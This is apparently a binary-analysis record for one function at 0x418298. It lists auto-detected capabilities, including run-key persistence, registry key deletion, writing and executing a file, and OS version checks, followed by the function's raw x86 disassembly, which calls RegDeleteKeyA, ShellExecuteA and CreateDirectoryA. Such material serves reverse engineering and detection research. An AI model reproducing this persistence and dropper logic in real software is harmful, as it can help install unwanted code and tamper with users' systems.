Function at 0x418298
Capabilities:
Check os version
Create directory
Create process on windows
Delete registry key
Get disk information
Persist via run registry key
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x2e
push 0
push 0
dec ecx
jne 0x4182a0
push ecx
push ebx
push esi
push edi
mov edi, 0x42aaf8
mov esi, 0x42ab30
mov ebx, 0x42ab7b
xor eax, eax
push ebp
push 0x419905
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
mov edx, 0x41991c
call fcn.004040c0
cmp byte [0x42ab7c], 0x66
jne 0x418344
mov eax, esi
mov edx, 0x419960
call fcn.004040c0
mov eax, dword [0x4296b4]
push eax
push 0x400
lea eax, [ebp - 4]
push eax
mov ecx, 0x419988
mov edx, 0x419998
mov eax, 0x80000002
call fcn.00407d94
mov edx, dword [ebp - 4]
mov eax, 0x42ab04
call fcn.004040c0
cmp byte [0x42ab79], 0
jne 0x418344
mov eax, esi
mov edx, 0x4199e0
call fcn.004040c0
push 0x2710
call sub.kernel32.dll_Sleep
mov eax, dword [0x42ab04]
call fcn.00407c34
mov byte [ebx], al
mov eax, esi
mov edx, 0x419a10
call fcn.004040c0
push 0x419998
mov ecx, 0x419988
mov eax, 0x80000002
pop edx
call fcn.0040825c
lea eax, [ebp - 8]
call fcn.00407ad8
mov edx, dword [ebp - 8]
mov eax, 0x42aaf4
call fcn.004040c0
lea eax, [ebp - 0xc]
call fcn.00407b44
mov edx, dword [ebp - 0xc]
mov eax, edi
call fcn.004040c0
mov eax, esi
mov edx, 0x419a3c
call fcn.004040c0
mov eax, 0x42aafc
mov ecx, 0x419a54
mov edx, dword [edi]
call fcn.00404354
mov eax, esi
mov edx, 0x419a64
call fcn.004040c0
mov eax, dword [0x42ab04]
call fcn.00404308
test eax, eax
jne 0x4183d4
mov eax, 0x42ab04
mov ecx, 0x419acc
mov edx, dword [edi]
call fcn.00404354
mov eax, 0x42920c
mov ecx, dword [0x42920c]
mov edx, dword [edi]
call fcn.00404354
mov eax, esi
mov edx, 0x419adc
call fcn.004040c0
mov eax, 0x42aaec
mov ecx, 0x419b84
mov edx, dword [0x42920c]
call fcn.00404354
mov eax, esi
mov edx, 0x419b98
call fcn.004040c0
mov eax, 0x42aaf0
mov ecx, 0x419be4
mov edx, dword [0x42920c]
call fcn.00404354
xor eax, eax
mov dword [0x42ab80], eax
call fcn.0041b37c
mov eax, esi
mov edx, 0x419bf8
call fcn.004040c0
cmp byte [0x42ab79], 0
je 0x4186a6
mov eax, 0x419c60
call fcn.00407168
push 0xbb8
call sub.kernel32.dll_Sleep
call fcn.00407cb4
mov eax, esi
mov edx, 0x419c78
call fcn.004040c0
lea eax, [ebp - 0x10]
mov ecx, 0x419ccc
mov edx, dword [edi]
call fcn.00404354
mov eax, dword [ebp - 0x10]
call fcn.0040701c
lea eax, [ebp - 0x14]
mov ecx, 0x419ce0
mov edx, dword [edi]
call fcn.00404354
mov eax, dword [ebp - 0x14]
call fcn.0040701c
mov eax, dword [0x42aaec]
call fcn.0040701c
mov eax, esi
mov edx, 0x419cf4
call fcn.004040c0
mov ecx, 0x419acc
mov edx, 0x419d6c
mov eax, 0x80000002
call fcn.0040825c
mov ecx, 0x419acc
mov edx, 0x419da4
mov eax, 0x80000002
call fcn.0040825c
mov ecx, 0x419acc
mov edx, 0x419de4
mov eax, 0x80000001
call fcn.0040825c
mov edx, 0x419d6c
mov ecx, 0x419e2c
mov eax, 0x80000001
call fcn.0040825c
mov edx, 0x419de4
mov ecx, 0x419e3c
mov eax, 0x80000002
call fcn.0040825c
lea eax, [ebp - 0x18]
mov ecx, 0x419e4c
mov edx, dword [edi]
call fcn.00404354
mov eax, dword [ebp - 0x18]
call fcn.0040701c
lea eax, [ebp - 0x1c]
mov ecx, 0x419e60
mov edx, dword [edi]
call fcn.00404354
mov eax, dword [ebp - 0x1c]
call fcn.0040701c
lea eax, [ebp - 0x20]
mov ecx, 0x419e74
mov edx, dword [edi]
call fcn.00404354
mov eax, dword [ebp - 0x20]
call fcn.0040701c
lea eax, [ebp - 0x24]
mov ecx, 0x419e88
mov edx, dword [edi]
call fcn.00404354
mov eax, dword [ebp - 0x24]
call fcn.0040701c
lea eax, [ebp - 0x28]
mov ecx, 0x419e9c
mov edx, dword [edi]
call fcn.00404354
mov eax, dword [ebp - 0x28]
call fcn.0040701c
lea eax, [ebp - 0x2c]
mov ecx, 0x419eb0
mov edx, dword [edi]
call fcn.00404354
mov eax, dword [ebp - 0x2c]
call fcn.0040701c
lea eax, [ebp - 0x30]
mov ecx, 0x419ec4
mov edx, dword [edi]
call fcn.00404354
mov eax, dword [ebp - 0x30]
call fcn.0040701c
push 0x419ed0
push 0x80000002
call sub.advapi32.dll_RegDeleteKeyA
push 0x419efc
push 0x80000002
call sub.advapi32.dll_RegDeleteKeyA
mov eax, 0x419f44
call fcn.004166d4
mov eax, esi
mov edx, 0x419f50
call fcn.004040c0
mov eax, 0x419fcc
call fcn.004166d4
mov eax, esi
mov edx, 0x419fd8
call fcn.004040c0
mov eax, 0x41a03c
call fcn.004166d4
mov eax, esi
mov edx, 0x41a048
call fcn.004040c0
mov eax, dword [0x42aaf0]
call fcn.0040701c
push 0x200040
push 0x41a0b0
push 0x41a0c8
lea edx, [ebp - 0x38]
mov eax, 0x8f
call fcn.00406920
push dword [ebp - 0x38]
push 0x41a0d4
lea eax, [ebp - 0x34]
mov edx, 3
call fcn.004043c8
mov eax, dword [ebp - 0x34]
call fcn.00404508
push eax
push 0
call sub.user32.dll_MessageBoxA_1
push 1
push 0
push 0
mov ecx, 0x419c60
lea eax, [ebp - 0x3c]
mov edx, dword [edi]
call fcn.00404354
mov eax, dword [ebp - 0x3c]
call fcn.00404508
push eax
push 0x41a0ec
push 0
call sub.shell32.dll_ShellExecuteA
call fcn.00407074
jmp 0x4198e7
push 0
mov eax, dword [0x42920c]
call fcn.00404508
push eax
call sub.kernel32.dll_CreateDirectoryA
call sub.kernel32.dll_GetVersion_1
and eax, 0xffff
and eax, 0xff
cmp ax, 5
setb byte [0x42ab78]
cmp byte [0x42ab78], 0
je 0x4186e0
call fcn.00407548
mov eax, esi
mov edx, 0x41a1a4
call fcn.004040c0
mov eax, dword [0x4296b4]
push eax
mov edx, 0x419998
mov ecx, 0x41a210
mov eax, 0x80000002
call fcn.00407ce0
push eax
call fcn.00406b78
pop edx
sub eax, edx
cmp eax, 0x1e
jl 0x4198e7
mov eax, esi
mov edx, 0x41a21c
call fcn.004040c0
lea edx, [ebp - 0x40]
mov eax, dword [0x42ab04]
call fcn.00406ba8
mov edx, dword [ebp - 0x40]
mov eax, 0x42ab08
call fcn.004040c0
call fcn.004029b4
lea edx, [ebp - 0x44]
mov eax, 0x41a2f8
call fcn.004075fc
mov edx, dword [ebp - 0x44]
mov eax, 0x42ab34
call fcn.004040c0
mov eax, esi
mov edx, 0x41a328
call fcn.004040c0
mov eax, 0x42ab00
mov edx, 0x41a384
call fcn.004040c0
lea eax, [ebp - 0x4c]
mov ecx, dword [0x42ab00]
mov edx, 0x41a3a0
call fcn.00404354
mov eax, dword [ebp - 0x4c]
lea edx, [ebp - 0x48]
call fcn.004075fc
mov edx, dword [ebp - 0x48]
mov eax, 0x42ab38
call fcn.004040c0
mov eax, esi
mov edx, 0x41a3b4
call fcn.004040c0
push 1
push 0x96
push 0x222e1
mov ecx, 0x419e4c
lea eax, [ebp - 0x50]
mov edx, dword [edi]
call fcn.00404354
mov edx, dword [ebp - 0x50]
mov cl, 1
mov eax, dword [0x42ab04]
call fcn.00406d6c
mov byte [ebx], al
mov ecx, 0x419e4c
lea eax, [ebp - 0x54]
mov edx, dword [edi]
call fcn.00404354